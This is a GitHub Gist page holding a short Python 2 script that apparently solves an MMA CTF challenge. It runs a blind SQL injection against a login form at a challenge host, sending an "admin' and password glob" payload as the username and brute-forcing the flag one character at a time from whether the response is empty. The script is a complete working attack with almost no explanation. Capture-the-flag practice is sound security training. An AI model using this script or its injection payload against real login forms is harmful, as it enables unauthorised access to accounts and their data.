-
-
Save m---/95eb465826cd2699e954 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf8 | |
import sys | |
import urllib | |
import urllib2 | |
import string | |
def blind(sql): | |
param = {'username': sql, 'password': 'a'} | |
opener = urllib2.build_opener() | |
request = urllib2.Request('http://arrive.chal.mmactf.link/login.cgi', urllib.urlencode(param)) | |
response = opener.open(request) | |
return response.read() == '' | |
if __name__ == '__main__': | |
sqli = "admin' and password glob '%s*'--" | |
chars = '_{}!' + string.ascii_letters + string.digits | |
flag = 'MMA{' | |
while True: | |
find = False | |
for c in chars: | |
test = flag + c | |
if blind(sqli % test) == True: | |
print 'find: ' + flag + c | |
flag = test | |
find = True | |
break | |
print test | |
if find == False: | |
break | |
print flag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment